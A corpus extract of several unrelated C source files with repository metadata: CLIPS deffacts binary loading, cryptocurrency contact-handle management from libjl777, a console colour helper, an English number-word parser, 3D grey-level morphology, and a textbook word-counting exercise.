theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,theModule))
{
EnvSetCurrentModule(theEnv,(void *) theModule);
for (theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,NULL);
theDeffacts != NULL;
theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,theDeffacts))
{
AssignBsaveConstructHeaderVals(&newDeffacts.header,&theDeffacts->header);
if (theDeffacts->assertList != NULL)
{
newDeffacts.assertList = ExpressionData(theEnv)->ExpressionCount;
ExpressionData(theEnv)->ExpressionCount += ExpressionSize(theDeffacts->assertList);
}
else
{ newDeffacts.assertList = -1L; }
GenWrite(&newDeffacts,(unsigned long) sizeof(struct bsaveDeffacts),fp);
}
}
/*=============================================================*/
/* If a binary image was already loaded when the bsave command */
/* was issued, then restore the counts indicating the number */
/* of deffacts and deffacts modules in the binary image (these */
/* were overwritten by the binary save). */
/*=============================================================*/
RestoreBloadCount(theEnv,&DeffactsBinaryData(theEnv)->NumberOfDeffactsModules);
RestoreBloadCount(theEnv,&DeffactsBinaryData(theEnv)->NumberOfDeffacts);
}
#endif /* BLOAD_AND_BSAVE */
/****************************************************/
/* BloadStorage: Allocates storage requirements for */
/* the deffacts used by this binary image. */
/****************************************************/
static void BloadStorage(
void *theEnv)
{
size_t space;
/*=====================================================*/
/* Determine the number of deffacts and deffactsModule */
/* data structures to be read. */
/*=====================================================*/
GenReadBinary(theEnv,&space,sizeof(size_t));
GenReadBinary(theEnv,&DeffactsBinaryData(theEnv)->NumberOfDeffacts,sizeof(long int));
GenReadBinary(theEnv,&DeffactsBinaryData(theEnv)->NumberOfDeffactsModules,sizeof(long int));
/*===================================*/
/* Allocate the space needed for the */
/* deffactsModule data structures. */
/*===================================*/
if (DeffactsBinaryData(theEnv)->NumberOfDeffactsModules == 0)
{
DeffactsBinaryData(theEnv)->DeffactsArray = NULL;
DeffactsBinaryData(theEnv)->ModuleArray = NULL;
return;
}
space = DeffactsBinaryData(theEnv)->NumberOfDeffactsModules * sizeof(struct deffactsModule);
DeffactsBinaryData(theEnv)->ModuleArray = (struct deffactsModule *) genalloc(theEnv,space);
/*===================================*/
/* Allocate the space needed for the */
/* deffacts data structures. */
/*===================================*/
if (DeffactsBinaryData(theEnv)->NumberOfDeffacts == 0)
{
DeffactsBinaryData(theEnv)->DeffactsArray = NULL;
return;
}
space = (DeffactsBinaryData(theEnv)->NumberOfDeffacts * sizeof(struct deffacts));
DeffactsBinaryData(theEnv)->DeffactsArray = (struct deffacts *) genalloc(theEnv,space);
}
/*****************************************************/
/* BloadBinaryItem: Loads and refreshes the deffacts */
/* constructs used by this binary image. */
/*****************************************************/
static void BloadBinaryItem(
void *theEnv)
{
size_t space;
/*======================================================*/
/* Read in the amount of space used by the binary image */
/* (this is used to skip the construct in the event it */
/* is not available in the version being run). */
/*======================================================*/
GenReadBinary(theEnv,&space,sizeof(size_t));
/*============================================*/
/* Read in the deffactsModule data structures */
/* and refresh the pointers. */
/*============================================*/
BloadandRefresh(theEnv,DeffactsBinaryData(theEnv)->NumberOfDeffactsModules,
sizeof(struct bsaveDeffactsModule),UpdateDeffactsModule);
/*======================================*/
/* Read in the deffacts data structures */
/* and refresh the pointers. */
/*======================================*/
BloadandRefresh(theEnv,DeffactsBinaryData(theEnv)->NumberOfDeffacts,
sizeof(struct bsaveDeffacts),UpdateDeffacts);
}
/***************************************************/
/* UpdateDeffactsModule: Bload refresh routine for */
/* deffacts module data structures. */
/***************************************************/
static void UpdateDeffactsModule(
void *theEnv,
void *buf,
long obji)
{
struct bsaveDeffactsModule *bdmPtr;
bdmPtr = (struct bsaveDeffactsModule *) buf;
UpdateDefmoduleItemHeader(theEnv,&bdmPtr->header,&DeffactsBinaryData(theEnv)->ModuleArray[obji].header,
(int) sizeof(struct deffacts),(void *) DeffactsBinaryData(theEnv)->DeffactsArray);
}
/*********************************************/
/* UpdateDeffacts: Bload refresh routine for */
/* deffacts data structures. */
/*********************************************/
static void UpdateDeffacts(
void *theEnv,
void *buf,
long obji)
{
struct bsaveDeffacts *bdp;
bdp = (struct bsaveDeffacts *) buf;
UpdateConstructHeader(theEnv,&bdp->header,&DeffactsBinaryData(theEnv)->DeffactsArray[obji].header,
(int) sizeof(struct deffactsModule),(void *) DeffactsBinaryData(theEnv)->ModuleArray,
(int) sizeof(struct deffacts),(void *) DeffactsBinaryData(theEnv)->DeffactsArray);
DeffactsBinaryData(theEnv)->DeffactsArray[obji].assertList = ExpressionPointer(bdp->assertList);
}
/**************************************/
/* ClearBload: Deffacts clear routine */
/* when a binary load is in effect. */
/**************************************/
static void ClearBload(
void *theEnv)
{
long i;
size_t space;
/*=============================================*/
/* Decrement in use counters for atomic values */
/* contained in the construct headers. */
/*=============================================*/
for (i = 0; i < DeffactsBinaryData(theEnv)->NumberOfDeffacts; i++)
{ UnmarkConstructHeader(theEnv,&DeffactsBinaryData(theEnv)->DeffactsArray[i].header); }
/*=============================================================*/
/* Deallocate the space used for the deffacts data structures. */
/*=============================================================*/
space = DeffactsBinaryData(theEnv)->NumberOfDeffacts * sizeof(struct deffacts);
if (space != 0) genfree(theEnv,(void *) DeffactsBinaryData(theEnv)->DeffactsArray,space);
DeffactsBinaryData(theEnv)->NumberOfDeffacts = 0;
/*====================================================================*/
/* Deallocate the space used for the deffacts module data structures. */
/*====================================================================*/
space = DeffactsBinaryData(theEnv)->NumberOfDeffactsModules * sizeof(struct deffactsModule);
if (space != 0) genfree(theEnv,(void *) DeffactsBinaryData(theEnv)->ModuleArray,space);
DeffactsBinaryData(theEnv)->NumberOfDeffactsModules = 0;
}
/******************************************************/
/* BloadDeffactsModuleReference: Returns the deffacts */
/* module pointer for use with the bload function. */
/******************************************************/
void *BloadDeffactsModuleReference(
void *theEnv,
int theIndex)
{
return ((void *) &DeffactsBinaryData(theEnv)->ModuleArray[theIndex]);
}
#endif /* DEFFACTS_CONSTRUCT && (BLOAD || BLOAD_ONLY || BLOAD_AND_BSAVE) && (! RUN_TIME) */
| 2 | 2 |
2024-11-18T20:50:00.094832+00:00 | 2015-02-04T16:13:54 | 04b6ce78ac4c63dd99ff07da508497d7ebe6c823 | {
"blob_id": "04b6ce78ac4c63dd99ff07da508497d7ebe6c823",
"branch_name": "refs/heads/master",
"committer_date": "2015-02-04T16:13:54",
"content_id": "e3aa3bc9bd3dca3a0aca70fc7f952812c29b17a9",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "7d3351b43dbe67adda847539341fa9c104ae07e3",
"extension": "h",
"filename": "contacts.h",
"fork_events_count": 0,
"gha_created_at": "2015-02-03T03:42:27",
"gha_event_created_at": "2015-02-03T03:42:27",
"gha_language": null,
"gha_license_id": null,
"github_id": 30223307,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7886,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/contacts.h",
"provenance": "stackv2-0029.json.gz:134906",
"repo_name": "BTCDDev/libjl777",
"revision_date": "2015-02-04T16:13:54",
"revision_id": "059effe4048f8a73e486692f9e4251ec22a23771",
"snapshot_id": "bf6bbd2c246e761c348581f0da0951335dc2cca7",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/BTCDDev/libjl777/059effe4048f8a73e486692f9e4251ec22a23771/contacts.h",
"visit_date": "2020-12-25T11:05:13.952013"
} | stackv2 | //
// contacts.h
// telepathy
//
// Created by jl777 on 10/13/14.
// Copyright (c) 2014 jl777. MIT License.
//
#ifndef libtest_contacts_h
#define libtest_contacts_h
void create_telepathy_entry(struct contact_info *contact,int32_t sequenceid);
struct contact_info *find_handle(char *handle)
{
return((struct contact_info *)find_storage(CONTACT_DATA,handle,0));
}
void update_contact_info(struct contact_info *contact)
{
//printf("update_contact_info %p (%s)\n",contact,contact->handle);
if ( contact->H.size == 0 )
contact->H.size = sizeof(*contact);
update_storage(&SuperNET_dbs[CONTACT_DATA],contact->handle,&contact->H);
}
struct contact_info *find_contact_nxt64bits(int32_t autocreate,uint64_t nxt64bits)
{
struct contact_info **contacts,*contact,*retcontact = 0;
int32_t i,numcontacts;
contacts = (struct contact_info **)copy_all_DBentries(&numcontacts,CONTACT_DATA);
if ( contacts == 0 )
return(0);
for (i=0; i<numcontacts; i++)
{
contact = contacts[i];
if ( contact->nxt64bits == nxt64bits )
{
if ( retcontact != 0 )
free(retcontact);
retcontact = contact;
}
else free(contacts[i]);
}
free(contacts);
if ( 0 && retcontact == 0 && autocreate != 0 )
{
retcontact = calloc(1,sizeof(*contact));
retcontact->nxt64bits = nxt64bits;
expand_nxt64bits(retcontact->handle,nxt64bits);
update_contact_info(retcontact);
}
return(retcontact);
}
uint64_t conv_acctstr(char *acctstr)
{
uint64_t nxt64bits = 0;
int32_t len;
if ( (len= is_decimalstr(acctstr)) > 0 && len < 22 )
nxt64bits = calc_nxt64bits(acctstr);
else if ( strncmp("NXT-",acctstr,4) == 0 )
nxt64bits = conv_rsacctstr(acctstr,0);
return(nxt64bits);
}
void free_contacts(struct contact_info **contacts,int32_t n)
{
int32_t i;
if ( contacts != 0 )
{
for (i=0; i<n; i++)
if ( contacts[i] != 0 )
free(contacts[i]);
free(contacts);
}
}
struct contact_info *find_contact(int32_t autocreate,char *contactstr)
{
uint64_t nxt64bits = 0;
struct contact_info *contact = 0;
//printf("auto.%d find_contact.(%s)\n",autocreate,contactstr);
if ( contactstr == 0 || contactstr[0] == 0 )
return(0);
if ( (contact= find_handle(contactstr)) == 0 )
{
if ( (nxt64bits= conv_acctstr(contactstr)) != 0 )
contact = find_contact_nxt64bits(0*autocreate,nxt64bits);
}
return(contact);
}
struct contact_info **conv_contacts_json(int32_t *nump,cJSON *array)
{
int32_t i,j,n;
char contactstr[MAX_JSON_FIELD];
struct contact_info *contact,**contacts = 0;
cJSON *item;
*nump = 0;
if ( array == 0 || is_cJSON_Array(array) == 0 || (n= cJSON_GetArraySize(array)) <= 0 )
return(0);
contacts = calloc(n+1,sizeof(*contacts));
for (i=j=0; i<n; i++)
{
item = cJSON_GetArrayItem(array,i);
copy_cJSON(contactstr,item);
if ( contactstr[0] > 0 )
{
if ( (contact= find_contact(0,contactstr)) != 0 )
{
if ( contact->nxt64bits != 0 )
contacts[j++] = contact;
//free(contact);
}
}
}
if ( (*nump= j) == 0 )
{
free(contacts);
contacts = 0;
}
return(contacts);
}
char *removecontact(char *previpaddr,char *NXTaddr,char *NXTACCTSECRET,char *sender,char *handle)
{
int32_t retval;
char retstr[1024];
if ( strcmp("myhandle",handle) == 0 )
return(0);
if ( (retval= delete_storage(&SuperNET_dbs[CONTACT_DATA],handle)) == 0 )
sprintf(retstr,"{\"result\":\"handle.(%s) deleted\"}",handle);
else sprintf(retstr,"{\"error\":\"cant delete handle.(%s)\",\"retval\":%d}",handle,retval);
printf("REMOVECONTACT.(%s)\n",retstr);
return(clonestr(retstr));
}
void set_contactstr(char *contactstr,struct contact_info *contact)
{
char pubkeystr[128],rsacctstr[128];
rsacctstr[0] = 0;
conv_rsacctstr(rsacctstr,contact->nxt64bits);
if ( strcmp(contact->handle,"myhandle") == 0 )
init_hexbytes_noT(pubkeystr,Global_mp->mypubkey.bytes,sizeof(Global_mp->mypubkey));
else init_hexbytes_noT(pubkeystr,contact->pubkey.bytes,sizeof(contact->pubkey));
sprintf(contactstr,"{\"handle\":\"%s\",\"acct\":\"%s\",\"NXT\":\"%llu\",\"pubkey\":\"%s\"}",contact->handle,rsacctstr,(long long)contact->nxt64bits,pubkeystr);
}
char *dispcontact(char *previpaddr,char *NXTaddr,char *NXTACCTSECRET,char *sender,char *handle)
{
struct contact_info **contacts,*contact;
int32_t i,numcontacts;
char retbuf[1024],*retstr = 0;
retbuf[0] = 0;
if ( strcmp(handle,"*") == 0 )
{
contacts = (struct contact_info **)copy_all_DBentries(&numcontacts,CONTACT_DATA);
if ( contacts == 0 )
return(0);
retstr = clonestr("[");
for (i=0; i<numcontacts; i++)
{
if ( i > 0 )
strcat(retstr,",");
set_contactstr(retbuf,contacts[i]);
retstr = realloc(retstr,strlen(retstr)+strlen(retbuf)+2);
strcat(retstr,retbuf);
free(contacts[i]);
}
free(contacts);
strcat(retstr,"]");
}
else
{
if ( (contact= find_contact(0,handle)) != 0 )
{
set_contactstr(retbuf,contact);
free(contact);
}
else sprintf(retbuf,"{\"error\":\"handle.(%s) doesnt exist\"}",handle);
retstr = clonestr(retbuf);
}
printf("Contact.(%s)\n",retstr);
return(retstr);
}
int32_t get_MGW_contacts(struct contact_info *contacts[],int32_t max)
{
int32_t i,n = 0;
char srvname[64];
for (i=0; i<max; i++)
{
sprintf(srvname,"mgw%d",i);
if ( (contacts[n]= find_contact(0,srvname)) != 0 )
n++;
}
return(n);
}
void init_Contacts()
{
char *retstr,NXTaddr[64],srvname[64];
struct contact_info **contacts,*contact;
int32_t i,j,n,numcontacts;
for (i=0; (MGW_whitelist[i]!=0 && MGW_whitelist[i][0]!=0); i++)
{
if ( Server_ipaddrs[i][0] != 0 )
{
bind_NXT_ipaddr(calc_nxt64bits(MGW_whitelist[i]),Server_ipaddrs[i]);
sprintf(srvname,"mgw%d",i);
if ( (retstr= addcontact(srvname,MGW_whitelist[i])) != 0 )
{
printf("(%s).(%s) <- server.%d %s\n",srvname,Server_ipaddrs[i],i,retstr);
free(retstr);
}
}
}
contacts = (struct contact_info **)copy_all_DBentries(&numcontacts,CONTACT_DATA);
if ( contacts == 0 )
return;
for (i=0; i<numcontacts; i++)
fprintf(stderr,"%s\n",contacts[i]->handle);
fprintf(stderr,"contacts\n");
for (i=0; i<numcontacts; i++)
{
expand_nxt64bits(NXTaddr,contacts[i]->nxt64bits);
if ( (retstr= addcontact(contacts[i]->handle,NXTaddr)) != 0 )
{
printf("(i.%d of numcontacts.%d): %s\n",i,numcontacts,retstr);
free(retstr);
if ( (contact= find_contact(0,contacts[i]->handle)) != 0 )
{
*contact = *contacts[i];
printf("lastrecv.%d lastentry.%d\n",contact->lastrecv,contact->lastentry);
n = (contact->lastrecv + MAX_DROPPED_PACKETS);
if ( n < (contact->lastentry + 2*MAX_DROPPED_PACKETS) )
n = contact->lastentry + 2*MAX_DROPPED_PACKETS;
for (j=contact->lastrecv; j<n; j++)
create_telepathy_entry(contact,j);
free(contact);
}
else printf("error finding (%s) right after adding it!\n",contacts[i]->handle);
}
free(contacts[i]);
}
printf("finished init contacts\n");
free(contacts);
}
#endif
| 2.09375 | 2 |
2024-11-18T18:39:42.807120+00:00 | 2019-11-02T17:38:25 | b80c8ab84ff23e72d5bd2a3e56d1a76b34bb6efa | {
"blob_id": "b80c8ab84ff23e72d5bd2a3e56d1a76b34bb6efa",
"branch_name": "refs/heads/master",
"committer_date": "2019-11-02T17:38:25",
"content_id": "2f131d236511b8d3e406958555aee61b9582b9c4",
"detected_licenses": [
"MIT"
],
"directory_id": "8bdcbcb2cada0ab7e133a575d49bc8d72e20244a",
"extension": "c",
"filename": "Couleur.c",
"fork_events_count": 0,
"gha_created_at": "2019-11-02T14:16:16",
"gha_event_created_at": "2019-11-02T17:38:26",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 219163754,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 242,
"license": "MIT",
"license_type": "permissive",
"path": "/Couleur.c",
"provenance": "stackv2-0030.json.gz:47",
"repo_name": "Zbeubzbeu/Projet_Qwirkle_2019-2020",
"revision_date": "2019-11-02T17:38:25",
"revision_id": "010576700f96b55c2d31ed6ea83e599f1ba4d6ee",
"snapshot_id": "f4006ee36b8f2edb34bdaab94f4b8fa35e55d710",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Zbeubzbeu/Projet_Qwirkle_2019-2020/010576700f96b55c2d31ed6ea83e599f1ba4d6ee/Couleur.c",
"visit_date": "2020-09-02T07:11:44.275724"
} | stackv2 | #include "Couleur.h"
#include <windows.h>
void Color(int couleurDuTexte,int couleurDeFond) // fonction d'affichage de couleurs
{
HANDLE H=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(H,couleurDeFond*16+couleurDuTexte);
}
| 2.140625 | 2 |
2024-11-18T18:39:43.044715+00:00 | 2015-02-28T04:22:57 | 76312155becaf08a00ab26c5e8f851ab9b4b2999 | {
"blob_id": "76312155becaf08a00ab26c5e8f851ab9b4b2999",
"branch_name": "refs/heads/master",
"committer_date": "2015-02-28T04:22:57",
"content_id": "5aaebe99fbe765b72705aa1388cd7e95e83efbf8",
"detected_licenses": [
"MIT"
],
"directory_id": "6acdb48790c5e8ff2028309474a61228a0a7a22d",
"extension": "c",
"filename": "numbers.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3584,
"license": "MIT",
"license_type": "permissive",
"path": "/numbers.c",
"provenance": "stackv2-0030.json.gz:432",
"repo_name": "hikari-no-yume/DevPerc.c",
"revision_date": "2015-02-28T04:22:57",
"revision_id": "3b4092ec333b5d82f2e848d51c32321b114559de",
"snapshot_id": "962ce22460bfe6f127ee085cd404a19dd61ebf9a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/hikari-no-yume/DevPerc.c/3b4092ec333b5d82f2e848d51c32321b114559de/numbers.c",
"visit_date": "2021-05-28T18:19:47.814102"
} | stackv2 | #include "numbers.h"
#include <stddef.h>
#include <string.h>
/* macros may be evil, but dear god, they are necessary for anything even
* slightly resembling "acceptable" code here
* LINGUA ANGLICA DELENDA EST
* HERE BE DRAGONS
*/
#define MATCH(str, val) \
if (!strncmp(str, expr_buf, sizeof(str) - 1)) { \
return val; \
}
#define MATCH_LEN(str, val) \
if (expr_len == (sizeof(str) - 1) \
&& !strncmp(str, expr_buf, sizeof(str) - 1)) { \
return val; \
}
#define MATCH_PREFIX(str, codeblock) \
/* 3 is the minimum length of the remainder ("ONE") */ \
if (expr_len >= (sizeof(str) - 1) + 3 \
&& !strncmp(str, expr_buf, sizeof(str) - 1)) { \
codeblock \
}
#define TRY_SUFFIX(len, val_offset, type) \
{ \
int __result; \
__result = try_parse_english_number_##type( \
expr_buf + len, expr_len - len \
); \
if (__result >= 0) { \
return val_offset + __result; \
} \
}
#define MATCH_PREFIX_AND_TRY_SUFFIX(str, val_offset, type) \
MATCH_PREFIX(str, \
TRY_SUFFIX((sizeof(str) - 1), val_offset, type) \
)
static int try_parse_english_number_units(const char *expr_buf, size_t expr_len) {
switch (expr_len) {
case 3:
MATCH("ONE", 1)
MATCH("TWO", 2)
MATCH("SIX", 6)
return -1;
case 4:
MATCH("FOUR", 4)
MATCH("FIVE", 5)
MATCH("NINE", 9)
return -1;
case 5:
MATCH("THREE", 3)
MATCH("SEVEN", 7)
MATCH("EIGHT", 8)
return -1;
default:
return -1;
}
}
static int try_parse_english_number_tens(const char *expr_buf, size_t expr_len) {
switch (expr_len) {
case 5:
MATCH("FORTY", 40)
MATCH("FIFTY", 50)
MATCH("SIXTY", 60)
return -1;
case 6:
MATCH("TWENTY", 20)
MATCH("THIRTY", 30)
MATCH("EIGHTY", 80)
MATCH("NINETY", 90)
return -1;
case 7:
MATCH("SEVENTY", 70)
return -1;
default:
return -1;
}
}
static int try_parse_english_number_tens_and_units(const char *expr_buf, size_t expr_len) {
int result;
if (0 <= (result = try_parse_english_number_units(expr_buf, expr_len))) {
return result;
} else if (0 <= (result = try_parse_english_number_tens(expr_buf, expr_len))) {
return result;
} else {
switch (expr_len) {
case 3:
MATCH("TEN", 10)
return -1;
case 6:
MATCH("ELEVEN", 11)
MATCH("TWELVE", 12)
return -1;
case 7:
MATCH("FIFTEEN", 15)
MATCH("SIXTEEN", 16)
return -1;
case 8:
MATCH("THIRTEEN", 13)
MATCH("FOURTEEN", 14)
MATCH("EIGHTEEN", 18)
MATCH("NINETEEN", 19)
return -1;
default:
MATCH_PREFIX_AND_TRY_SUFFIX("TWENTY", 20, units)
MATCH_PREFIX_AND_TRY_SUFFIX("THIRTY", 30, units)
MATCH_PREFIX_AND_TRY_SUFFIX("FORTY", 40, units)
MATCH_PREFIX_AND_TRY_SUFFIX("FIFTY", 50, units)
MATCH_PREFIX_AND_TRY_SUFFIX("SIXTY", 60, units)
MATCH_PREFIX_AND_TRY_SUFFIX("SEVENTY", 70, units)
MATCH_PREFIX_AND_TRY_SUFFIX("EIGHTY", 80, units)
MATCH_PREFIX_AND_TRY_SUFFIX("NINETY", 90, units)
return -1;
}
}
}
int try_parse_english_number(const char *expr_buf, size_t expr_len) {
int result;
MATCH_LEN("ZERO", 0)
MATCH_LEN("ONEHUNDRED", 100)
MATCH_LEN("TWOHUNDRED", 200)
MATCH_PREFIX_AND_TRY_SUFFIX("ONEHUNDREDAND", 100, tens_and_units)
MATCH_PREFIX("TWOHUNDREDAND", {
result = try_parse_english_number_tens_and_units(expr_buf + 13, expr_len - 13);
if (result >= 0) {
if (200 + result <= 255) {
return 200 + result;
}
}
})
result = try_parse_english_number_tens_and_units(expr_buf, expr_len);
if (result >= 0) {
return result;
}
return -1;
}
| 2.625 | 3 |
2024-11-18T18:39:43.219821+00:00 | 2021-12-21T14:27:09 | 9014dd863ca54a3e78a5ce03a99b76af7711ce8a | {
"blob_id": "9014dd863ca54a3e78a5ce03a99b76af7711ce8a",
"branch_name": "refs/heads/master",
"committer_date": "2021-12-21T14:27:09",
"content_id": "785118796eff37ffce9f824cdb717f3bcf0ebc61",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "fead6fdd7f26bf55bb224a1d340b2c3897bf6bda",
"extension": "c",
"filename": "GreyMorph3d.c",
"fork_events_count": 9,
"gha_created_at": "2016-11-24T15:39:42",
"gha_event_created_at": "2017-12-18T18:49:15",
"gha_language": "C",
"gha_license_id": "BSD-3-Clause",
"github_id": 74685939,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3983,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/lib_via/GreyMorph3d.c",
"provenance": "stackv2-0030.json.gz:560",
"repo_name": "lipsia-fmri/lipsia",
"revision_date": "2021-12-21T14:27:09",
"revision_id": "d3190204def34f952b899d3cb37c1a9cef5be6d8",
"snapshot_id": "27f9986482b0256eb9f0c72307928bf49c0e9091",
"src_encoding": "UTF-8",
"star_events_count": 20,
"url": "https://raw.githubusercontent.com/lipsia-fmri/lipsia/d3190204def34f952b899d3cb37c1a9cef5be6d8/src/lib_via/GreyMorph3d.c",
"visit_date": "2021-12-23T13:22:57.565590"
} | stackv2 | /*! \file
3D grey level morphology.
\par Reference:
P. Maragos, R.W. Schafer (1990):
"Morphological Systems for multidimensional signal processing",
Proc. of the IEEE, Vol. 78, No. 4, pp. 690--709.
\par Author:
Gabriele Lohmann, MPI-CBS
*/
#include <viaio/VImage.h>
#include <viaio/Vlib.h>
#include <stdio.h>
#include <math.h>
/*!
\fn VImage VGreyDilation3d(VImage src,VImage se,VImage dest)
\brief 3D greylevel morphological dilation
\param src input image (any repn)
\param se raster image containing the structural element (bit repn)
\param dest output image (any repn)
\param
*/
VImage VGreyDilation3d(VImage src,VImage se,VImage dest)
{
int nbands=VImageNBands(src);
int nrows=VImageNRows(src);
int ncols=VImageNColumns(src);
int b,r,c,bb,rr,cc,b0,b1,r0,r1,c0,c1,wnc,wnr,wnb;
int xsize,ysize,zsize,x,y,z;
double v,umax,tiny=1.0e-6;
VRepnKind repn;
repn = VPixelRepn(src);
zsize = VImageNBands(se);
ysize = VImageNRows(se);
xsize = VImageNColumns(se);
wnc = xsize / 2;
wnr = ysize / 2;
wnb = zsize / 2;
dest = VSelectDestImage("VGreyDilation3d",dest,nbands,nrows,ncols,repn);
if (! dest) VError(" err creating dest image");
VFillImage(dest,VAllBands,0);
for (b=0; b < nbands; b++) {
for (r=0; r < nrows; r++) {
for (c=0; c < ncols; c++) {
v = VGetPixel(src,b,r,c);
if (fabs(v) < tiny) continue;
umax = VPixelMinValue(src);
b0 = b-wnb;
if (b0 < 0) b0 = 0;
b1 = b + wnb;
if (b1 >= nbands) b1 = nbands-1;
for (bb=b0; bb<=b1; bb++) {
z = bb-b+wnb;
r0 = r-wnr;
if (r0 < 0) r0 = 0;
r1 = r + wnr;
if (r1 >= nrows) r1 = nrows-1;
for (rr=r0; rr <= r1; rr++) {
y = rr-r+wnr;
c0 = c-wnc;
if (c0 < 0) c0 = 0;
c1 = c + wnc;
if (c1 >= ncols) c1 = ncols-1;
for (cc=c0; cc <= c1; cc++) {
x = cc-c+wnc;
if (VPixel(se,z,y,x,VBit) > 0) {
v = VGetPixel(src,bb,rr,cc);
if (fabs(v) < tiny) continue;
if (v > umax) umax=v;
}
}
}
}
if (repn == VUByteRepn) {
umax = (int) (umax + 0.5);
if (umax < 0) umax=0;
if (umax > 255) umax=255;
}
VSetPixel(dest,b,r,c,(VDouble)umax);
}
}
}
VCopyImageAttrs(src, dest);
return dest;
}
/*!
\fn VImage VGreyErosion3d(VImage src,VImage se,VImage dest)
\brief 3D greylevel morphological erosion
\param src input image (any repn)
\param se image containing the structural element (bit repn)
\param dest output image (any repn)
\param
*/
VImage VGreyErosion3d(VImage src,VImage se,VImage dest)
{
int nbands=VImageNBands(src);
int nrows=VImageNRows(src);
int ncols=VImageNColumns(src);
int b,r,c,bb,rr,cc,b0,b1,r0,r1,c0,c1,wnc,wnr,wnb;
int xsize,ysize,zsize,x,y,z;
double v,umin,tiny=1.0e-6;
VRepnKind repn;
repn = VPixelRepn(src);
zsize = VImageNBands(se);
ysize = VImageNRows(se);
xsize = VImageNColumns(se);
wnc = xsize / 2;
wnr = ysize / 2;
wnb = zsize / 2;
dest = VSelectDestImage("VGreyErosion3d",dest,nbands,nrows,ncols,repn);
if (! dest) VError("err creating dest image");
VFillImage(dest,VAllBands,0);
for (b=0; b < nbands; b++) {
for (r=0; r < nrows; r++) {
for (c=0; c < ncols; c++) {
v = VGetPixel(src,b,r,c);
if (fabs(v) < tiny) continue;
umin = VPixelMaxValue(src);
b0 = b-wnb;
if (b0 < 0) b0 = 0;
b1 = b + wnb;
if (b1 >= nbands) b1 = nbands-1;
for (bb=b0; bb <= b1; bb++) {
z = bb-b+wnb;
r0 = r-wnr;
if (r0 < 0) r0 = 0;
r1 = r + wnr;
if (r1 >= nrows) r1 = nrows-1;
for (rr=r0; rr <= r1; rr++) {
y = rr-r+wnr;
c0 = c-wnc;
if (c0 < 0) c0 = 0;
c1 = c + wnc;
if (c1 >= ncols) c1 = ncols-1;
for (cc=c0; cc <= c1; cc++) {
x = cc-c+wnc;
if (VPixel(se,z,y,x,VBit) > 0) {
v = VGetPixel(src,bb,rr,cc);
if (fabs(v) < tiny) continue;
if (v < umin) umin=v;
}
}
}
}
VSetPixel(dest,b,r,c,(VDouble)umin);
}
}
}
VCopyImageAttrs(src, dest);
return dest;
}
| 2.71875 | 3 |
2024-11-18T18:39:43.643690+00:00 | 2022-10-11T18:08:34 | d33e19429df2e07fe996b239683e2039e67c0622 | {
"blob_id": "d33e19429df2e07fe996b239683e2039e67c0622",
"branch_name": "refs/heads/master",
"committer_date": "2022-10-11T18:08:34",
"content_id": "3b5c8936ae71a90c638dcbc85f42d769065d7d40",
"detected_licenses": [
"MIT"
],
"directory_id": "a934c4bbb2c1b70ae6ae0a3487a5ec3d3ee3050a",
"extension": "c",
"filename": "19_p word and 4 letter word counter .c",
"fork_events_count": 1,
"gha_created_at": "2018-08-21T03:58:50",
"gha_event_created_at": "2022-10-11T18:08:35",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 145504242,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1181,
"license": "MIT",
"license_type": "permissive",
"path": "/chapter 19/19_p word and 4 letter word counter .c",
"provenance": "stackv2-0030.json.gz:944",
"repo_name": "AkshitOstwal/Let-Us-C-Sol",
"revision_date": "2022-10-11T18:08:34",
"revision_id": "f4a3aa43f534eb71a2a7b151923c1e70b86da688",
"snapshot_id": "d202adc4d7dbf05cfa3955f9ef30e182d2330317",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/AkshitOstwal/Let-Us-C-Sol/f4a3aa43f534eb71a2a7b151923c1e70b86da688/chapter 19/19_p word and 4 letter word counter .c",
"visit_date": "2022-10-13T17:20:40.281740"
} | stackv2 | #include<stdio.h>
#include<conio.h>
#include<string.h>
#define EndOfWord word[i] == ' ' || word[i] == ','\
|| word[i] == '.' || word[i] == '\n'
int countword(FILE*);
void count4words(FILE*);
main()
{
FILE *fp;
fp = fopen("trial.txt", "r");
if (fp == NULL)
{
puts("\nCan't open the file.");
exit(1);
}
int count = countword(fp);
printf("\nThere are total %d words in file.\n", count);
count4words(fp);
return 0;
}
int countword(FILE *fp)
{
int i, count = 0;
char word[20];
for (i = 0; 1; i++)
{
word[i] = fgetc(fp);
if (word[i] == EOF)
break;
if (EndOfWord)
{
if (i != 0)
count++;
i = -1;
}
}
return count;
fclose(fp);
}
void count4words(FILE *fp)
{
int i, count = 0;
char word[20];
fp=fopen("trial.txt", "r");
if (fp == NULL)
{
puts("\nCan't open the file.");
exit(1);
}
puts("\nThe four letter words are following.\n");
int j=0;
for (i = 0; 1; i++)
{
word[i] = fgetc(fp);
if (word[i] == EOF)
break;
if (EndOfWord)
{
if (i != 0)
{
if (i == 4)
{
word[i + 1] = '\0';
puts(word);
j++;
}
}
i = -1;
}
}
printf("\n%d no of four letter words\n",j);
fclose(fp);
}
| 3.25 | 3 |
2024-11-18T18:39:43.804101+00:00 | 2019-02-11T21:25:48 | edae174296b3e8df740895d15df0ff08f5f01ba5 | {
"blob_id": "edae174296b3e8df740895d15df0ff08f5f01ba5",
"branch_name": "refs/heads/master",
